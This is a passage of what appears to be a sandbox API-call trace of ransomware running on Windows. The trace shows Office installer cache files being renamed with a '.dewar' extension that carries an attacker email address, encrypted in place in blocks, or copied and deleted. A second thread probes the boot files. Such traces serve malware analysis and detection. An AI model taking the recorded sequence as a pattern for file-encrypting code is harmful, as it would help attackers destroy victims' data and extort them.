dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.655] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0063.936] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0063.939] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=16972987) returned 1 [0063.940] CloseHandle (hObject=0x1b4) returned 1 [0063.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab")) returned 0x2020 [0063.940] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0064.934] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0064.934] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0064.934] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0064.934] ReadFile (in: hFile=0x1b4, lpBuffer=0x3150058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x3150058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0064.951] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0064.951] ReadFile (in: hFile=0x1b4, lpBuffer=0x3190058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x3190058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0064.960] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0064.960] ReadFile (in: hFile=0x1b4, lpBuffer=0x31d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x31d0058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0065.204] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9b8 | out: lpNewFilePointer=0x0) returned 1 [0065.205] WriteFile (in: hFile=0x1b4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0xc0102, lpOverlapped=0x0) returned 1 [0065.470] SetEndOfFile (hFile=0x1b4) returned 1 [0065.471] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfefcbb, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0065.471] WriteFile (in: hFile=0x1b4, lpBuffer=0x321013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321013a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0065.485] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0065.485] WriteFile (in: hFile=0x1b4, lpBuffer=0x321013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321013a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0065.488] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0065.488] WriteFile (in: hFile=0x1b4, lpBuffer=0x321013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321013a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0065.490] CloseHandle (hObject=0x1b4) returned 1 [0079.040] SetEvent (hEvent=0x144) returned 1 [0079.042] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0079.043] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=1886) returned 1 [0079.043] CloseHandle (hObject=0x1b4) returned 1 [0079.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0079.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0079.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0079.043] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0079.044] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0079.044] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0079.044] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x164 [0079.045] ReadFile (in: hFile=0x1b4, lpBuffer=0x3150020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2daf9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2daf9cc*=0x75e, lpOverlapped=0x0) returned 1 [0079.058] WriteFile (in: hFile=0x164, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0x760, lpOverlapped=0x0) returned 1 [0079.060] WriteFile (in: hFile=0x164, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0xf2, lpOverlapped=0x0) returned 1 [0079.060] CloseHandle (hObject=0x1b4) returned 1 [0079.061] CloseHandle (hObject=0x164) returned 1 [0079.063] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0079.066] SetEvent (hEvent=0x144) returned 1 [0079.067] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0079.072] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=2513920) returned 1 [0079.072] CloseHandle (hObject=0x164) returned 1 [0079.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0079.072] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0079.073] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0079.073] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0079.073] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0079.073] ReadFile (in: hFile=0x164, lpBuffer=0x3150058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x3150058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0079.286] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0079.286] ReadFile (in: hFile=0x164, lpBuffer=0x3190058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x3190058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0080.642] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0080.642] ReadFile (in: hFile=0x164, lpBuffer=0x31d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x31d0058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0080.666] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9b8 | out: lpNewFilePointer=0x0) returned 1 [0080.667] WriteFile (in: hFile=0x164, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0xc0112, lpOverlapped=0x0) returned 1 [0081.038] SetEndOfFile (hFile=0x164) returned 1 [0081.039] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0081.039] WriteFile (in: hFile=0x164, lpBuffer=0x321014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321014a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0081.045] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0081.046] WriteFile (in: hFile=0x164, lpBuffer=0x321014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321014a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0081.316] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0081.316] WriteFile (in: hFile=0x164, lpBuffer=0x321014a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321014a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0081.320] CloseHandle (hObject=0x164) returned 1 [0083.437] SetEvent (hEvent=0x144) returned 1 [0083.441] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0083.441] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=1450) returned 1 [0083.441] CloseHandle (hObject=0x164) returned 1 [0083.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0083.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0083.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0083.442] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0083.442] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0083.442] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9c0 | out: lpNewFilePointer=0x0) returned 1 [0083.442] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1b4 [0083.443] ReadFile (in: hFile=0x164, lpBuffer=0x3150020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2daf9cc, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesRead=0x2daf9cc*=0x5aa, lpOverlapped=0x0) returned 1 [0083.479] WriteFile (in: hFile=0x1b4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0x5b0, lpOverlapped=0x0) returned 1 [0083.483] WriteFile (in: hFile=0x1b4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0x102, lpOverlapped=0x0) returned 1 [0083.483] CloseHandle (hObject=0x164) returned 1 [0083.483] CloseHandle (hObject=0x1b4) returned 1 [0083.484] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0083.488] SetEvent (hEvent=0x144) returned 1 [0083.488] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0083.489] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2daf9f8 | out: lpFileSize=0x2daf9f8*=9958388) returned 1 [0083.489] CloseHandle (hObject=0x1b4) returned 1 [0083.489] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0083.489] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 1 [0083.491] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0083.491] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0083.491] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0083.491] ReadFile (in: hFile=0x1b4, lpBuffer=0x3150058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x3150058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0083.501] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0083.501] ReadFile (in: hFile=0x1b4, lpBuffer=0x3190058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x3190058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0084.014] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2daf848 | out: lpNewFilePointer=0x0) returned 1 [0084.014] ReadFile (in: hFile=0x1b4, lpBuffer=0x31d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2daf854, lpOverlapped=0x0 | out: lpBuffer=0x31d0058*, lpNumberOfBytesRead=0x2daf854*=0x40000, lpOverlapped=0x0) returned 1 [0084.512] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf9b8 | out: lpNewFilePointer=0x0) returned 1 [0084.513] WriteFile (in: hFile=0x1b4, lpBuffer=0x3150020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2daf9b0, lpOverlapped=0x0 | out: lpBuffer=0x3150020*, lpNumberOfBytesWritten=0x2daf9b0*=0xc0102, lpOverlapped=0x0) returned 1 [0084.968] SetEndOfFile (hFile=0x1b4) returned 1 [0084.969] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0084.969] WriteFile (in: hFile=0x1b4, lpBuffer=0x321013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321013a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0084.976] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0084.977] WriteFile (in: hFile=0x1b4, lpBuffer=0x321013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321013a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0084.986] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2daf850 | out: lpNewFilePointer=0x0) returned 1 [0084.986] WriteFile (in: hFile=0x1b4, lpBuffer=0x321013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2daf85c, lpOverlapped=0x0 | out: lpBuffer=0x321013a*, lpNumberOfBytesWritten=0x2daf85c*=0x40000, lpOverlapped=0x0) returned 1 [0084.991] CloseHandle (hObject=0x1b4) Thread: id = 21 os_tid = 0x7d8 [0060.517] GetProcessHeap () returned 0x550000 [0060.517] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x62e900 [0060.518] GetProcessHeap () returned 0x550000 [0060.518] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x63e908 [0060.518] GetProcessHeap () returned 0x550000 [0060.518] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x570990 [0060.518] GetProcessHeap () returned 0x550000 [0060.518] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x110102) returned 0x3270020 [0060.519] GetProcessHeap () returned 0x550000 [0060.519] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x572728 [0060.519] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0060.519] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0060.519] Wow64DisableWow64FsRedirection (in: OldValue=0x2fbfe7c | out: OldValue=0x2fbfe7c*=0x0) returned 1 [0060.519] GetProcessHeap () returned 0x550000 [0060.520] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572728 | out: hHeap=0x550000) returned 1 [0060.520] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.521] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.459] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=0) returned 1 [0063.459] CloseHandle (hObject=0x1a4) returned 1 [0063.459] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0063.460] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2fbfe28 | out: lpFileSize=0x2fbfe28*=88144) returned 1 [0063.460] CloseHandle (hObject=0x1a4) returned 1 [0063.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0063.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 